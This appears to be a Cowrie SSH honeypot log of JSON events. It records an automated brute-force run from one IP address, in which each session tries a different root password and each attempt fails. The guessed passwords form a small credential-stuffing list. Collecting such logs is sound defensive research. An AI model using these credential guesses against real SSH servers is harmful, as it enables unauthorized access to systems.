{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:51.142653Z","src_ip":"60.165.124.241","session":"545450833eb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password99!","message":"login attempt [root/Password99!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:51.867800Z","src_ip":"60.165.124.241","session":"545450833eb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:53.109464Z","src_ip":"60.165.124.241","session":"545450833eb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34550,"dst_ip":"10.17.0.5","dst_port":22,"session":"eec9c153a5cb","protocol":"ssh","message":"New connection: 60.165.124.241:34550 (10.17.0.5:22) [session: eec9c153a5cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:53.344331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:53.351553Z","src_ip":"60.165.124.241","session":"eec9c153a5cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:53.589961Z","src_ip":"60.165.124.241","session":"eec9c153a5cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cdsf@119","message":"login attempt [root/Cdsf@119] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:54.311376Z","src_ip":"60.165.124.241","session":"eec9c153a5cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:55.555103Z","src_ip":"60.165.124.241","session":"eec9c153a5cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37524,"dst_ip":"10.17.0.5","dst_port":22,"session":"30736cd19b5f","protocol":"ssh","message":"New connection: 60.165.124.241:37524 (10.17.0.5:22) [session: 30736cd19b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:55.802930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:55.808377Z","src_ip":"60.165.124.241","session":"30736cd19b5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:56.053562Z","src_ip":"60.165.124.241","session":"30736cd19b5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456+","message":"login attempt [root/a123456+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:56.795434Z","src_ip":"60.165.124.241","session":"30736cd19b5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:58.043730Z","src_ip":"60.165.124.241","session":"30736cd19b5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40412,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ddee50cfcd2","protocol":"ssh","message":"New connection: 60.165.124.241:40412 (10.17.0.5:22) [session: 2ddee50cfcd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:58.284398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:58.293004Z","src_ip":"60.165.124.241","session":"2ddee50cfcd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:58.537705Z","src_ip":"60.165.124.241","session":"2ddee50cfcd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz2wsX","message":"login attempt [root/!qaz2wsX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:59.276854Z","src_ip":"60.165.124.241","session":"2ddee50cfcd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:00.524309Z","src_ip":"60.165.124.241","session":"2ddee50cfcd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43508,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5be3e7c072d","protocol":"ssh","message":"New connection: 60.165.124.241:43508 (10.17.0.5:22) [session: a5be3e7c072d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:00.785750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:00.790585Z","src_ip":"60.165.124.241","session":"a5be3e7c072d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:01.045716Z","src_ip":"60.165.124.241","session":"a5be3e7c072d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qqqq1111","message":"login attempt [root/Qqqq1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:01.829302Z","src_ip":"60.165.124.241","session":"a5be3e7c072d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:03.105014Z","src_ip":"60.165.124.241","session":"a5be3e7c072d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46800,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ec4c36c1850","protocol":"ssh","message":"New connection: 60.165.124.241:46800 (10.17.0.5:22) [session: 6ec4c36c1850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:03.326007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:03.335970Z","src_ip":"60.165.124.241","session":"6ec4c36c1850","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:03.576533Z","src_ip":"60.165.124.241","session":"6ec4c36c1850","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwert123!","message":"login attempt [root/Qwert123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:04.329586Z","src_ip":"60.165.124.241","session":"6ec4c36c1850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:05.586351Z","src_ip":"60.165.124.241","session":"6ec4c36c1850","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49620,"dst_ip":"10.17.0.5","dst_port":22,"session":"97f66b320103","protocol":"ssh","message":"New connection: 60.165.124.241:49620 (10.17.0.5:22) [session: 97f66b320103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:05.823194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:05.828848Z","src_ip":"60.165.124.241","session":"97f66b320103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:06.069687Z","src_ip":"60.165.124.241","session":"97f66b320103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"musicbot","message":"login attempt [root/musicbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:06.822599Z","src_ip":"60.165.124.241","session":"97f66b320103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:08.080035Z","src_ip":"60.165.124.241","session":"97f66b320103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52658,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e36af666fa2","protocol":"ssh","message":"New connection: 60.165.124.241:52658 (10.17.0.5:22) [session: 1e36af666fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:08.321802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:08.326752Z","src_ip":"60.165.124.241","session":"1e36af666fa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:08.566164Z","src_ip":"60.165.124.241","session":"1e36af666fa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Milan","message":"login attempt [root/Milan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:09.313576Z","src_ip":"60.165.124.241","session":"1e36af666fa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:10.552866Z","src_ip":"60.165.124.241","session":"1e36af666fa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55526,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3b145992879","protocol":"ssh","message":"New connection: 60.165.124.241:55526 (10.17.0.5:22) [session: a3b145992879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:10.794845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:10.799582Z","src_ip":"60.165.124.241","session":"a3b145992879","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:11.731744Z","src_ip":"60.165.124.241","session":"a3b145992879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rzx@1218","message":"login attempt [root/Rzx@1218] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:12.474785Z","src_ip":"60.165.124.241","session":"a3b145992879","protocol":"ssh"}
